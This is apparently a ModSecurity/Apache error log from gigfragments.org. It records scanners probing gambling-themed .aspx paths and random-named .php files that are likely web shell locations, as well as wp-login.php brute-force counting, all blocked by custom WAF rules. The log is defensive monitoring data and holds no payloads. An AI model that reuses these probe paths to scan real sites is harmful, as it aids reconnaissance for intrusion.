[Sun Apr 12 06:43:32.331927 2026] [:error] [pid 25327:tid 25354] [client 145.239.65.133:49806] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "adrOlC6h2tZEVJo9JFJLoQAAABI"]
[Sun Apr 12 06:43:34.249436 2026] [:error] [pid 26600:tid 26632] [client 145.239.65.133:49808] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot%20wallet.aspx"] [unique_id "adrOlu1YwAZiXhQKLYqGAQAAAYM"]
[Sun Apr 12 06:43:36.152672 2026] [:error] [pid 26600:tid 26631] [client 145.239.65.133:56646] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot1234%20pg.aspx"] [unique_id "adrOmO1YwAZiXhQKLYqGCAAAAYI"]
[Sun Apr 12 06:43:38.063439 2026] [:error] [pid 25329:tid 25404] [client 145.239.65.133:56656] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "adrOmmdcIYsS8Iyaj11C6gAAAJA"]
[Sun Apr 12 06:43:40.109183 2026] [:error] [pid 26567:tid 26586] [client 145.239.65.133:56666] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "adrOnHhRpg6ptWFyFx0TPwAAARE"]
[Sun Apr 12 06:43:42.002041 2026] [:error] [pid 25328:tid 25389] [client 145.239.65.133:56668] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "adrOnsxUaQZxT-e0YsD70AAAAFA"]
[Sun Apr 12 06:43:43.893185 2026] [:error] [pid 60280:tid 60292] [client 145.239.65.133:56676] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "adrOn3BlLnDOYuIykkj-eAAAAco"]
[Sun Apr 12 06:43:45.929501 2026] [:error] [pid 25437:tid 25448] [client 145.239.65.133:45506] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "adrOoXf97wYZje1ep_NsxAAAAMk"]
[Sun Apr 12 06:43:47.823042 2026] [:error] [pid 25437:tid 25447] [client 145.239.65.133:45510] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "adrOo3f97wYZje1ep_NszAAAAMg"]
[Sun Apr 12 06:43:49.702056 2026] [:error] [pid 25327:tid 25341] [client 145.239.65.133:45522] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "adrOpS6h2tZEVJo9JFJLtgAAAAU"]
[Sun Apr 12 06:43:51.752451 2026] [:error] [pid 25329:tid 25397] [client 145.239.65.133:45524] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "adrOp2dcIYsS8Iyaj11DCgAAAIw"]
[Sun Apr 12 06:43:53.633536 2026] [:error] [pid 26567:tid 26573] [client 145.239.65.133:45540] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "adrOqXhRpg6ptWFyFx0TVQAAAQQ"]
[Sun Apr 12 06:43:55.679893 2026] [:error] [pid 26567:tid 26589] [client 145.239.65.133:36144] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "adrOq3hRpg6ptWFyFx0TYQAAARQ"]
[Sun Apr 12 06:43:57.556547 2026] [:error] [pid 60280:tid 60295] [client 145.239.65.133:36146] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "adrOrXBlLnDOYuIykkj-gAAAAc0"]
[Sun Apr 12 06:43:59.464786 2026] [:error] [pid 25328:tid 25373] [client 145.239.65.133:36152] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "adrOr8xUaQZxT-e0YsD76QAAAEg"]
[Sun Apr 12 06:44:35.197034 2026] [:error] [pid 25328:tid 25391] [client 145.239.65.133:36162] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "adrO08xUaQZxT-e0YsD8NAAAAFE"]
[Sun Apr 12 06:44:37.148320 2026] [:error] [pid 26600:tid 26644] [client 145.239.65.133:54334] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "adrO1e1YwAZiXhQKLYqGUwAAAY8"]
[Sun Apr 12 06:44:39.170741 2026] [:error] [pid 25328:tid 25401] [client 145.239.65.133:54340] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "adrO18xUaQZxT-e0YsD8PQAAAFU"]
[Sun Apr 12 06:44:41.196007 2026] [:error] [pid 26600:tid 26641] [client 145.239.65.133:54352] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "adrO2e1YwAZiXhQKLYqGWAAAAYw"]
[Sun Apr 12 06:44:43.052629 2026] [:error] [pid 60280:tid 60305] [client 145.239.65.133:54368] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "adrO23BlLnDOYuIykkj-jwAAAdc"]
[Sun Apr 12 06:44:45.071926 2026] [:error] [pid 25437:tid 25463] [client 145.239.65.133:54376] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "adrO3Xf97wYZje1ep_Ns_gAAANg"]
[Sun Apr 12 06:44:47.095523 2026] [:error] [pid 26600:tid 26638] [client 145.239.65.133:49558] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo%20slot.aspx"] [unique_id "adrO3-1YwAZiXhQKLYqGXgAAAYk"]
[Sun Apr 12 06:44:49.101934 2026] [:error] [pid 25328:tid 25365] [client 145.239.65.133:49570] [client 145.239.65.133] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yakuza%20slot.aspx"] [unique_id "adrO4cxUaQZxT-e0YsD8SgAAAEE"]
[Sun Apr 12 07:24:21.651300 2026] [:error] [pid 26600:tid 26647] [client 65.108.78.33:39520] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "adrYJe1YwAZiXhQKLYqRUAAAAZI"]
[Sun Apr 12 07:24:23.941978 2026] [:error] [pid 25437:tid 25451] [client 65.108.78.33:55372] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "adrYJ3f97wYZje1ep_N03QAAAMw"]
[Sun Apr 12 07:24:25.968195 2026] [:error] [pid 26599:tid 26610] [client 65.108.78.33:55386] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "adrYKXG89LXoQbk_rwBVigAAAUg"]
[Sun Apr 12 07:24:27.926740 2026] [:error] [pid 25329:tid 25381] [client 65.108.78.33:55400] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "adrYK2dcIYsS8Iyaj11N5wAAAIM"]
[Sun Apr 12 07:24:30.077458 2026] [:error] [pid 25328:tid 25365] [client 65.108.78.33:55402] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "adrYLsxUaQZxT-e0YsALuQAAAEE"]
[Sun Apr 12 07:24:32.254503 2026] [:error] [pid 60280:tid 60293] [client 65.108.78.33:52486] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "adrYMHBlLnDOYuIykkgGrAAAAcs"]
[Sun Apr 12 07:24:34.449664 2026] [:error] [pid 25437:tid 25449] [client 65.108.78.33:52488] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "adrYMnf97wYZje1ep_N05AAAAMo"]
[Sun Apr 12 07:24:36.536479 2026] [:error] [pid 26600:tid 26629] [client 65.108.78.33:52496] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "adrYNO1YwAZiXhQKLYqRVQAAAYA"]
[Sun Apr 12 08:27:55.951427 2026] [:error] [pid 26600:tid 26646] [client 192.176.172.166:51488] [client 192.176.172.166] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.176.172.166, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adrnC-1YwAZiXhQKLYqezgAAAZE"]
[Sun Apr 12 08:27:57.733411 2026] [:error] [pid 26600:tid 26644] [client 192.176.172.166:51488] [client 192.176.172.166] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.176.172.166, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adrnDe1YwAZiXhQKLYqe0wAAAY8"], referer: https://gigfragments.org/wp-login.php
[Sun Apr 12 09:22:00.764009 2026] [:error] [pid 25328:tid 25379] [client 74.248.34.0:9170] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/BhqKs28Cw94.php"] [unique_id "adrzuMxUaQZxT-e0YsA3hQAAAEs"]
[Sun Apr 12 09:22:02.213215 2026] [:error] [pid 25328:tid 25375] [client 74.248.34.0:9185] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/BhqKs28Cw94.php"] [unique_id "adrzusxUaQZxT-e0YsA3iQAAAEk"]
[Sun Apr 12 09:22:03.574857 2026] [:error] [pid 25327:tid 25356] [client 74.248.34.0:9175] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/BhqKs28Cw94.php"] [unique_id "adrzuy6h2tZEVJo9JFJz3QAAABQ"]
[Sun Apr 12 09:22:06.595948 2026] [:error] [pid 25327:tid 25352] [client 74.248.34.0:9096] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/BhqKs28Cw94.php"] [unique_id "adrzvi6h2tZEVJo9JFJz5QAAABA"]
[Sun Apr 12 09:22:08.065572 2026] [:error] [pid 25329:tid 25412] [client 74.248.34.0:9203] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cdn3.php"] [unique_id "adrzwGdcIYsS8Iyaj11l8AAAAJU"]
[Sun Apr 12 09:22:08.829301 2026] [:error] [pid 26567:tid 26583] [client 74.248.34.0:9215] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cdn3.php"] [unique_id "adrzwHhRpg6ptWFyFx05DAAAAQ4"]
[Sun Apr 12 09:22:10.590251 2026] [:error] [pid 25437:tid 25445] [client 74.248.34.0:9197] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cdn3.php"] [unique_id "adrzwnf97wYZje1ep_OPEAAAAMY"]
[Sun Apr 12 09:22:12.437912 2026] [:error] [pid 60280:tid 60299] [client 74.248.34.0:9187] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cdn3.php"] [unique_id "adrzxHBlLnDOYuIykkg_5AAAAdE"]
[Sun Apr 12 09:22:13.782733 2026] [:error] [pid 25437:tid 25456] [client 74.248.34.0:9163] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/3Cr1w6dfjTK.php"] [unique_id "adrzxXf97wYZje1ep_OPGQAAANE"]
[Sun Apr 12 09:22:14.534515 2026] [:error] [pid 25437:tid 25446] [client 74.248.34.0:9178] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/3Cr1w6dfjTK.php"] [unique_id "adrzxnf97wYZje1ep_OPIAAAAMc"]
[Sun Apr 12 09:22:15.397119 2026] [:error] [pid 60280:tid 60288] [client 74.248.34.0:9090] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/3Cr1w6dfjTK.php"] [unique_id "adrzx3BlLnDOYuIykkg_8AAAAcY"]
[Sun Apr 12 09:22:16.328203 2026] [:error] [pid 25327:tid 25346] [client 74.248.34.0:9214] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/3Cr1w6dfjTK.php"] [unique_id "adrzyC6h2tZEVJo9JFJz6AAAAAo"]
[Sun Apr 12 09:22:16.999701 2026] [:error] [pid 26600:tid 26649] [client 74.248.34.0:9156] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/beerd.php"] [unique_id "adrzyO1YwAZiXhQKLYqsGgAAAZQ"]
[Sun Apr 12 09:22:18.223135 2026] [:error] [pid 60280:tid 60283] [client 74.248.34.0:9200] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/beerd.php"] [unique_id "adrzynBlLnDOYuIykkg_-wAAAcE"]
[Sun Apr 12 09:22:19.068420 2026] [:error] [pid 26567:tid 26592] [client 74.248.34.0:9103] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/beerd.php"] [unique_id "adrzy3hRpg6ptWFyFx05GAAAARc"]
[Sun Apr 12 09:22:19.839661 2026] [:error] [pid 60280:tid 60299] [client 74.248.34.0:9206] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/beerd.php"] [unique_id "adrzy3BlLnDOYuIykkhAAQAAAdE"]
[Sun Apr 12 09:22:20.719521 2026] [:error] [pid 26600:tid 26651] [client 74.248.34.0:9189] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hhxc.php"] [unique_id "adrzzO1YwAZiXhQKLYqsJAAAAZY"]
[Sun Apr 12 09:22:21.785105 2026] [:error] [pid 26567:tid 26574] [client 74.248.34.0:9161] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hhxc.php"] [unique_id "adrzzXhRpg6ptWFyFx05IAAAAQU"]
[Sun Apr 12 09:22:22.827783 2026] [:error] [pid 60280:tid 60283] [client 74.248.34.0:9091] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hhxc.php"] [unique_id "adrzznBlLnDOYuIykkhACgAAAcE"]
[Sun Apr 12 09:22:23.502862 2026] [:error] [pid 60280:tid 60284] [client 74.248.34.0:9125] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hhxc.php"] [unique_id "adrzz3BlLnDOYuIykkhADwAAAcI"]
[Sun Apr 12 09:22:24.628700 2026] [:error] [pid 60280:tid 60286] [client 74.248.34.0:9106] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/161dfd072f.php"] [unique_id "adrz0HBlLnDOYuIykkhAGwAAAcQ"]
[Sun Apr 12 09:22:25.669700 2026] [:error] [pid 60280:tid 60292] [client 74.248.34.0:9205] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/161dfd072f.php"] [unique_id "adrz0XBlLnDOYuIykkhAKAAAAco"]
[Sun Apr 12 09:22:27.231904 2026] [:error] [pid 26567:tid 26571] [client 74.248.34.0:9101] [client 74.248.34.0] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/161dfd072f.php"] [unique_id "adrz03hRpg6ptWFyFx05JwAAAQI"]
